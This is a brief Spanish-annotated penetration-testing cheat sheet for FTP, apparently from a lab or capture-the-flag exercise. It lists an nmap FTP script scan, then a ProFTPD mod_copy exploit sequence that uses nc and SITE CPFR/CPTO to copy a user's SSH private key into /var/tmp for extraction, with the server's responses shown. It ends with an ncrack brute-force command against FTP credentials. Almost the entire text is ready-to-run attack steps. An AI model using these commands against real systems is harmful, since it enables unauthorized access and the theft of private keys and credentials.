nmap --script ftp-* -p 21 <ip>

• PROFTPD:

nc 10.10.10.10 21 SITE CPFR /home/kenobi/.ssh/id_rsa (copia la llave rsa de la maquina objetivo) 350 File or directory exists, ready for destination name SITE CPTO /var/tmp/id_rsa (Mandamos la private key al temporal asi lo podemos extraer.) 250 Copy successful

Bruteforce credenciales: ncrack -U usernames.txt -P passwords.txt ftp://10.10.0.50